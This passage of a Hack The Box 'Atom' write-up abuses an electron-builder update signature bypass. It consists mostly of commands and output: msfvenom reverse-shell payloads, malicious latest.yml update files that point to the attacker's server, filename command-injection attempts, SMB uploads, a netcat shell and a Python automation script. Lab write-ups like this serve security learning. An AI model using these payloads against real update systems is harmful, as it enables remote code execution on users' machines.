putting file heedv1 Setup 1.0.1.exe as \client1\heedv1 Setup 1.0.1.exe (294.2 kb/s) (average 294.2 kb/s)
After a short wait, I didn’t get a hit on my handler. So I figured this was not the appropriate trigger mechanism.
I spent a bit of time here trying to analyse the .exe
in Ghidra. This didn’t turn out to be necessary, and I eventually gave up on it - but 0xdf did some good reversing which would have made the upcoming CVE easier to find.
Exploiting Electron Builder
I took a closer look at the PDF. I did some googling around User Acceptance Testing, and found little in the way of an exploit.
Then I googled “electron-builder cve”. I found this article: https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html
It suggests a parsing error can lead to a malicious .exe
being executed by electron. An example malicious update file is provided:
version: 1.2.3
files:
- url: v’ulnerable-app-setup-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
size: 44653912
path: v'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'
And a command for generating a sha-512 hash:
$ shasum -a 512 maliciousupdate.exe | cut -d " " -f1 | xxd -r -p | base64
Trying to Grab File from SMB
This format seems to suggest the .exe
should already be on the server, the provided ‘URL’ is actually just a filename. However there’s no harm trying to make it download the file from our box first. Let’s rename our malicious .exe
to contain a '
:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ mv heedv1\ Setup\ 1.0.1.exe "heedv1'Setup1.0.1.exe"
Then shasum it:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ shasum -a 512 heedv1\'Setup1.0.1.exe | cut -d " " -f1 | xxd -r -p | base64
0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9
U87FIbYrPw==
Then create a latest.yml
file:
version: 1.0.1
files:
- url: http://10.10.14.167/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
size: 73802
path: heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
Start a python server:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo python3 -m http.server 80
[sudo] password for mac:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Restart our listener:
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.167:9001
And put
the file:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\mac's password:
Try "help" to get a list of possible commands.
smb: \> cd client1
smb: \client1\> dir
. D 0 Wed Apr 21 22:26:45 2021
.. D 0 Wed Apr 21 22:26:45 2021
4413951 blocks of size 4096. 1340804 blocks available
smb: \client1\> put latest.yml
putting file latest.yml as \client1\latest.yml (0.6 kb/s) (average 0.6 kb/s)
I didn’t immediately get a hit so I put to client2
and client3
for good measure, then waited a little while…
No luck. So instead, I modified latest.yml
to grab a local file and put
the .exe
directly:
version: 1.0.1
files:
- url: heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
size: 73802
path: heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
And the put
:
smb: \client1\> put heedv1'Setup1.0.1.exe
putting file heedv1'Setup1.0.1.exe as \client1\heedv1'Setup1.0.1.exe (287.1 kb/s) (average 287.1 kb/s)
smb: \client1\> put latest.yml
putting file latest.yml as \client1\latest.yml (1.1 kb/s) (average 129.7 kb/s)
I suspect this maybe doesn’t work as it’s trying to access a file on the local file system, not on samba.
Trying Code Injection
The next option is to try a yaml
with a code injection:
version: 1.0.1
files:
- url: heedv1';ping -n 1 10.10.14.167;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
size: 73802
path: heedv1';ping -n 1 10.10.14.167;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
I set up a tcpdump
- see Testing a Connection for details.
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
I put latest.yml
one more time, and waited for a ping. However, I got nothing.
Debugging YAML Syntax
I spent a bit of time experimenting with various formats for the YAML. As always, you can skip to the working payload.
I tried looking at some electron-builder docs to see how the URL should be specified.
It seems this method is terribly documented, but googling “latest.yml url” I eventually found this issue which has an example of an absolute URL.
It’s unclear whether this feature was implemented, as the issue was closed without reference to a commit. This similar issue has the same.
However, both use a yaml without the files
section, and no -
before url
. This comment suggests path
can be used instead:
I tried this yaml first to see if the files
section was the issue, but got no ping.
version: 1.0.1
path: heedv1';ping -n 1 10.10.14.167;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
I tried this instead:
version: 1.0.1
path: http://10.10.14.167/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
This time I got some hits!
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo python3 -m http.server 80
[sudo] password for mac:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [22/Apr/2021 15:58:46] code 404, message File not found
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1'Setup1.0.1.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [22/Apr/2021 15:58:46] code 404, message File not found
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1'Setup1.0.1.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1%27Setup1.0.1.exe HTTP/1.1" 200 -
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1%27Setup1.0.1.exe HTTP/1.1" 200 -
10.10.10.237 - - [22/Apr/2021 15:58:46] code 404, message File not found
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1'Setup1.0.1.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [22/Apr/2021 15:58:46] "GET /heedv1%27Setup1.0.1.exe HTTP/1.1" 200 -
It looks like it’s also requesting a blockmap file. It also looks like all the client folders work, so I’ll only upload to one from now on.
I didn’t get any hits on my handler. So let’s re-add the file
section to see if it helps:
version: 1.0.1
files:
url: heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
size: 73802
path: http://10.10.14.167/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
I got rid of the hyphen as no one else used it, and instead set the “url” to be a relative path on the box.
However, I didn’t get a hit. I looked up the yaml syntax, and realised the issue might not be the presence of a hyphen, but the lack of hyphens on the other entries.
version: 1.0.1
files:
- url: heedv1'Setup1.0.1.exe
- sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
- size: 73802
path: http://10.10.14.167/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
This didn’t work either. My next idea was to try the payload that did land a hit, but using the command injection syntax instead:
version: 1.0.1
path: http://10.10.14.167/heedv1';ping -n 1 10.10.14.167;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
I got a hit again, but no ping. I did try pinging myself with the following command:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ping -I tun0 localhost
The requests showed up on my listener, so that wasn’t the issue.
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:37:26.871587 IP 10.10.14.167 > 127.0.0.1: ICMP echo request, id 60658, seq 1, length 64
16:37:27.874587 IP 10.10.14.167 > 127.0.0.1: ICMP echo request, id 60658, seq 2, length 64
Replicating Steps
I wanted to make this script easily replicable, as I came back to this box and my IP had changed. So I wrote a quick bash script:
echo "Getting tun0 IP..."
ip=$(ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
echo "$ip"
echo "Making payload..."
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=$ip LPORT=9001 -b "\x00" -e x86/shikata_ga_nai -f exe -o "heedv1'Setup1.0.1.exe"
echo "Getting size of payload..."
size=$(stat -c%s "heedv1'Setup1.0.1.exe")
echo "$size"
This just creates a payload with my tun0
IP and outputs the size. I would eventually code a full Python solution that also uploads the YAML, but I needed to fix the syntax before I wrote that.
Attempting to Fix YAML
I first wanted to try staying true to the original blog post and include a hyphen in front of the URL, which I hadn’t tried yet:
version: 1.0.1
files:
- url: heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
size: 73802
path: http://10.10.14.193/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
This didn’t get a hit.
Then I wanted to try what I think is the correct YAML syntax according to the ansible docs, which is with no hyphens - but I want to include the full URL in the filepath:
version: 1.0.1
files:
url: http://10.10.14.193/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
size: 73802
path: http://10.10.14.193/heedv1'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
This one got a download request!
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo python3 -m http.server 80
[sudo] password for mac:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [26/Apr/2021 21:15:00] code 404, message File not found
10.10.10.237 - - [26/Apr/2021 21:15:00] "GET /heedv1'Setup1.0.1.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [26/Apr/2021 21:15:00] "GET /heedv1%27Setup1.0.1.exe HTTP/1.1" 200 -
In fact, it got recurring download requests while the file sat in the samba server. So I was on the right track and had fixed the syntax - but still got no netcat hit.
I wondered if I needed to create a blockmap file. First, I tried one last attempt at a command injection:
version: 1.0.1
files:
url: http://10.10.14.193/heedv1';ping -n 1 10.10.14.193;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
size: 73802
path: http://10.10.14.193/heedv1';ping -n 1 10.10.14.193;'Setup1.0.1.exe
sha512: 0BsRscpeO3lQvkaP1fqRYWyw3lelkI/2qJ1BsshauD8kJ39nHJKFanTUVpUNRotgKkVljcEy/Is9U87FIbYrPw==
releaseDate: '2021-04-21T11:17:02.627Z'
But I got nothing.
I tried a couple more things here, including trying to upload a webshell into the /releases
directory (in case files were placed there after being requested), but didn’t get anywhere with this strategy.
Automation
At this point I decided to automate the process in Python. I learned a lot from this process about proper use of argparse
for building a script with command-line arguments. The code is available here.
You can read about the way I built the code, or you can read on for the final payload.
Final Payload
Automating the foothold allowed me to easily change my YAML structure and re-send the payload. This exposed a lot of frustrating things about the box.
Firstly, the box was very temperamental about whether or not it would request my file. It would often not ‘consume’ my latest.yml
file - I maximised my chances by putting it to each of the three client folders.
The other frustration was that I eventually found the correct YAML syntax - but for a reason I am still unsure about, the filename I was using didn’t trigger the execution of the exe.
To fix it, I spent a lot of time verifying each step, such as checking the SHA sum. I eventually had to compare my YAML to a friend’s who had completed the box. He had the exact same syntax (and sequence of commands) but with a shorter filename. Changing my filename to match his gave me a shell. Read on for the details.
Testing
In my testing I returned to the simplest payload so far that got a hit (the second payload in Debugging YAML Syntax). I simplified both the msfvenom payload and filename - you can see it in my script below:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve 10.10.10.237
IP Address on interface tun0: 10.10.14.39
Make sure to start required listeners before continuing.
Run a netcat listener to catch your shell: nc -lnvp 9001
Run a Python Server to serve your shell in to-serve/: sudo python3 -m http.server 80
Press enter to continue once you've started your listeners...
=== Generating Payload ===
No --msf_payload or --payload flag provided. Using default windows/shell_reverse_tcp payload and generating with msfvenom
Running command: msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.39 LPORT=9001 -f exe -o "to-serve/heed'Setup.exe"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: to-serve/heed'Setup.exe
Payload saved at: to-serve/heed'Setup.exe
Size: 73802
Base64-encoded SHA512-sum of payload: cC8htx18FMTlElNrNPuRrwu+ars1Cs05Qxg3HzXysT2Sr3iUAcmns/Gmw6llUC6lArTjXdygtNp7665Vh//0dA==
=== Generating YAML File ===
version: 2.0.9
path: http://10.10.14.39/heed'Setup.exe
sha512: cC8htx18FMTlElNrNPuRrwu+ars1Cs05Qxg3HzXysT2Sr3iUAcmns/Gmw6llUC6lArTjXdygtNp7665Vh//0dA==
YAML saved at to-serve/latest.yml
=== Uploading to SMB ===
Bytes uploaded to client1: 151
Bytes uploaded to client2: 0
Bytes uploaded to client3: 0
I was getting a hit and no shell:
10.10.10.237 - - [02/Jun/2021 15:53:19] code 404, message File not found
10.10.10.237 - - [02/Jun/2021 15:53:19] "GET /heed'Setup.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [02/Jun/2021 15:53:19] "GET /heed%27Setup.exe HTTP/1.1" 200 -
...[msfconsole]...
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 9001
lport => 9001
msf6 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.39:9001
I fixed a couple of issues with my filepaths, then tried replicating my friend’s commands exactly. The only differences between mine and his were his use of port 443 (a mistake on my part, as Windows often only trusts well-known ports for reverse shells) and the filename. After changing my port and still not getting a shell, I changed my filename to h'eed
:
And got a shell!
Final YAML
This was the final YAML I used:
version: 2.1.9
path: http://10.10.14.39/h'eed.exe
sha512: yZCEOg74ydXD0uguleSFIfA0OwPL3dh2Q5qM/m/DU5KN8/a0nr1CfMU2S+sIL/6Q/JsUtsJCOF3C3mUYk6X1Fg==
Which was represented in my Python script as:
yml_string = ("version: 2.1.9\n"
"path: http://{ip}/{payload}\n"
"sha512: {sha}"
).format(ip=ip, payload=payload, sha=sum)
The equivalent bash commands are:
┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.39 LPORT=443 -f exe -o "h'eed.exe"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: h'eed.exe
┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ shasum -a 512 "h'eed.exe" | cut -d " " -f1 | xxd -r -p | base64
8XliFRF177w/k3OL25064XatMPUicDT+DVuiKZYQJtYeGKqOKLDGrFyu90N+xfCm69y9bCPdulsj
xR/+7HjzbA==
┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ nano latest.yml
...[input the yaml here]...
┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\mac's password:
Try "help" to get a list of possible commands.
smb: \> cd client1
smb: \client1\> put latest.yml
putting file latest.yml as \client1\latest.yml (2.4 kb/s) (average 2.4 kb/s)
...[python server]...
┌──(mac㉿kali)-[~/Documents/HTB/atom/smb]
└─$ sudo python3 -m http.server 80
[sudo] password for mac:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [02/Jun/2021 20:36:07] code 404, message File not found
10.10.10.237 - - [02/Jun/2021 20:36:07] "GET /h'eed.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [02/Jun/2021 20:36:07] "GET /h%27eed.exe HTTP/1.1" 200 -
...[netcat listener]...
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo nc -lnvp 443
[sudo] password for mac:
listening on [any] 443 ...
connect to [10.10.14.39] from (UNKNOWN) [10.10.10.237] 52783
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
Automation
I did some Python scripting to make adjusting the payload easier. This was maybe more effort than it was worth, but a good learning exercise nonetheless.
argparse
I used the argparse
library to process command line arguments:
def main():
parser = argparse.ArgumentParser(prog="send-payload.py", description="Sends a payload to a vulnerable Electron Builder instance over SMB. If no port is provided, listens on port 9001 by default. No default option for IP address is specified.")
#positional arguments
parser.add_argument("ip", help="Target IP address")
parser.add_argument("payload", help="Meterpreter payload to use")
#named parameters/flags
parser.add_argument("--lip", help="Local IP to listen on. Specify either this or --lint")
parser.add_argument("--lint", help="Local interface to listen on. Specify either this or --lip")
parser.add_argument("--lport", help="Local port to listen on. 9001 by default")
args = parser.parse_args()
for arg in vars(args):
argval = getattr(args, arg)
if argval is not None:
print(arg + ": " + argval)
#if args.lip is not None and args.lint is not None - no need to check this, just take LIP first
if args.lip is not None:
ip = args.lip
print("IP Address: " + ip)
elif args.lint is not None:
ip = get_ip(interface)
else:
print("You must provide one of --lip or --lint")
sys.exit(1)
It now nicely handles arguments:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --help
usage: send-payload.py [-h] [--lip LIP] [--lint LINT] [--lport LPORT] ip payload
Sends a payload to a vulnerable Electron Builder instance over SMB. Parse IP address, Port and Payload from sys args
positional arguments:
ip Target IP address
payload Meterpreter payload to use
optional arguments:
-h, --help show this help message and exit
--lip LIP Local IP to listen on. Specify either this or --lint
--lint LINT Local interface to listen on. Specify either this or --lip
--lport LPORT Local port to listen on
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py 123
usage: send-payload.py [-h] [--lip LIP] [--lint LINT] [--lport LPORT] ip payload
send-payload.py: error: the following arguments are required: payload
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py 123 payload
ip: 123
payload: payload
You must provide one of --lip or --lint
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py a.b.c.d payload --lip w.x.y.z --lint eth0 --lport 9001
ip: a.b.c.d
payload: payload
lip: w.x.y.z
lint: eth0
lport: 9001
IP Address: w.x.y.z
msfvenom
I added a basic check for the serving directory:
#mkdir if doesn't exist
if args.dir is not None:
path = args.dir
dirpath = Path(args.dir)
if not dirpath.is_dir():
print("Directory not found - creating directory")
dirpath.mkdir()
Here we see it working:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py a p --lip i --dir to-serve
IP Address: i
Directory not found - creating directory
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls -la
total 252
drwxr-xr-x 9 mac mac 4096 May 28 20:18 .
drwxr-xr-x 30 mac mac 4096 May 24 20:26 ..
drwxr-xr-x 2 mac mac 4096 May 28 20:18 to-serve
Now we can try appending the directory to our msfvenom
command and see what the command will look like before running it:
def gen_payload(ip, port, payload, dir):
"""generate an msfvenom payload with given IP address and port"""
cmd_str = 'msfvenom -a x86 --platform windows -p ' + payload + ' LHOST=' + str(ip) + ' LPORT=' + str(port) + ' -e x86/shikata_ga_nai -f exe -o ' + dir + '"heedv1\'Setup1.0.1.exe"'
print(cmd_str)
...[snip]...
def main():
parser = argparse.ArgumentParser(prog="send-payload.py", description="Sends a payload to a vulnerable Electron Builder instance over SMB. If no port is provided, listens on port 9001 by default. No default option for IP address is specified.")
...[snip]...
#parse arguments
args = parser.parse_args()
#default values
path = ""
port = "9001"
payload = "windows/x64/shell_reverse_tcp"
...[snip]...
#get port
arg_port = args.lport
if arg_port is not None:
port = arg_port
#mkdir if doesn't exist
arg_path = args.dir
if arg_path is not None:
path = arg_path
dirpath = Path(arg_path)
if not dirpath.is_dir():
print("Directory not found - creating directory")
dirpath.mkdir()
#get payload
arg_payload = args.payload
if arg_payload is not None:
payload = arg_payload
#generate shell payload
gen_payload(ip, port, payload, path)
Output:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py 10.10.10.237 --lint tun0 --dir to-serve
IP Address on interface tun0: 10.10.15.4
msfvenom -a x86 --platform windows -p windows/x64/shell_reverse_tcp LHOST=10.10.15.4 LPORT=9001 -e x86/shikata_ga_nai -f exe -o to-serve"heedv1'Setup1.0.1.exe"
Looks good! I tried passing this command to subprocess.run()
and spent a bit of time tweaking the syntax, before settling on using call()
with shell=True
instead. This passes the command to bash
and lets it interpret the arguments instead. This worked!
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py 10.10.10.237 --lint tun0 --dir to-serve
IP Address on interface tun0: 10.10.15.4
Running command: msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.10.15.4 LPORT=9001 -e x86/shikata_ga_nai -f exe -o "to-serve/heedv1'Setup1.0.1.exe"
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of exe file: 73802 bytes
Saved as: to-serve/heedv1'Setup1.0.1.exe
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls to-serve/
"heedv1'Setup1.0.1.exe"
Getting Size of Payload
I initially tried using subprocess
to get the file size, but it caused some issues with automatically escaping the \
and '
characters in the string (whatever combination I used).
payload_path = '"' + path + 'heedv1\'Setup1.0.1.exe"'
print("Payload saved at: " + payload_path)
#get size of payload
size = subprocess.call('stat -c%s ' + payload_path)
print("Size: " + str(size))
I decided to use os.path.getsize()
instead:
#get size of payload
size = os.path.getsize(Path(payload_path))
print("Size: " + str(size))
Which seemed to work:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve 10.10.10.237
IP Address on interface tun0: 10.10.14.39
Running command: msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.10.14.39 LPORT=9001 -e x86/shikata_ga_nai -f exe -o "to-serve/heedv1'Setup1.0.1.exe"
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of exe file: 73802 bytes
Saved as: to-serve/heedv1'Setup1.0.1.exe
Payload saved at: to-serve/heedv1'Setup1.0.1.exe
Size: 73802
I verified that the output of the stat
command is the same:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ stat -c%s "to-serve/heedv1'Setup1.0.1.exe"
73802
Awesome.
Allowing Payload Reuse
I wanted to add a feature to use an existing payload rather than generating it each time. First, check the payload is provided:
parser.add_argument("-p", "--payload", help="The path to an existing payload. Specify this if you don't want to generate one with msfvenom", dest="payload")
...
if args.payload is not None:
payload_path = Path(args.payload)
print("Payload Path: " + payload_path)
And generate with msfvenom
if not:
#get payload options, taking --payload as priority over --msf_payload if both provided
if args.payload is not None:
payload_path = Path(args.payload)
print("Payload Path: " + payload_path)
else:
if args.msf_payload is not None:
#get payload to use with msfvenom
msf_payload = args.msf_payload
print("Using payload " + str(msf_payload) + " with msfvenom")
else:
#default payload
msf_payload = "windows/shell_reverse_tcp"
print("No --msf_payload or --payload flag provided. Using default windows/shell_reverse_tcp payload and generating with msfvenom")
#generate shell payload
gen_payload(ip, port, msf_payload, path)
payload_path = path + "heedv1'Setup1.0.1.exe"
print("Payload saved at: " + payload_path)
Now we can run following:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve -p "to-serve/heedv1'Setup1.0.1.exe" 10.10.10.237
IP Address on interface tun0: 10.10.14.39
Payload Path: to-serve/heedv1'Setup1.0.1.exe
Size: 73802
Hashing
I added the hashing:
def gen_checksum(filepath):
"""generate a sha512 hash of the file and base64 encode it"""
#set a buffer size to hash in chunks
BUF_SIZE = 65536
sha512 = hashlib.sha512()
with open(filepath, 'rb') as f:
while True:
data = f.read(BUF_SIZE)
if not data:
break
sha512.update(data)
b64 = base64.b64encode(sha512.digest()).decode('utf-8')
print("Base64-encoded SHA512-sum of payload: " + b64)
return b64
And verified the SHAs are the same:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve -p "to-serve/heedv1'Setup1.0.1.exe" 10.10.10.237
IP Address on interface tun0: 10.10.14.39
Payload Path: to-serve/heedv1'Setup1.0.1.exe
Size: 73802
GuCsEdujwJSyKwiLFFnDCE52cmLvXVgvjE0YyOap0Siwv4GFg1dRE+6PKF7wG7+UFeGZYKHQ2lOSf74qsXd+6A==
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ shasum -a 512 "to-serve/heedv1'Setup1.0.1.exe" | cut -d " " -f1 | xxd -r -p | base64
GuCsEdujwJSyKwiLFFnDCE52cmLvXVgvjE0YyOap0Siwv4GFg1dRE+6PKF7wG7+UFeGZYKHQ2lOS
f74qsXd+6A==
YAML
Putting it together in a YAML:
def gen_yaml(ip, payload, size, sum, dir):
print("\n=== Generating YAML File ===\n")
yml_string = ("version: 1.0.1\n"
"files:\n"
" url: http://{ip}/{payload}\n"
" sha512: {sha}\n"
" size: {size}\n"
"path: {payload}\n"
"sha512: {sha}\n"
"releaseDate: '2021-04-21T11:17:02.627Z'"
).format(ip=ip, payload=payload, sha=sum, size=size)
print(yml_string)
yml_path = dir + "/latest.yml"
with open(yml_path, 'a') as f:
f.write(yml_string)
f.close()
print("YAML saved at " + yml_path)
return yml_path
We can run it and show the file is saved:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 send-payload.py --lint tun0 --dir to-serve -p "to-serve/heedv1'Setup1.0.1.exe" 10.10.10.237
IP Address on interface tun0: 10.10.14.39
=== Generating Payload ===
Payload Path: to-serve/heedv1'Setup1.0.1.exe
Size: 73802
Base64-encoded SHA512-sum of payload: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
=== Generating YAML File ===
version: 1.0.1
files:
url: http://10.10.14.39/heedv1'Setup1.0.1.exe
sha512: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
size: 73802
path: heedv1'Setup1.0.1.exe
sha512: UboG1lEwJPbfExtL8ttp6CbfYi9nJ3mOZ8TAZzQ2ETcdq+OBXJWM/B1x6B2jEEpR8u7umo3RC5Npr15lmMjjLA==
releaseDate: '2021-04-21T11:17:02.627Z'
YAML saved at to-serve/latest.yml
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls to-serve/
"heedv1'Setup1.0.1.exe" latest.yml
┌──(mac㉿kali)-[~/Documents/HTB/atom]
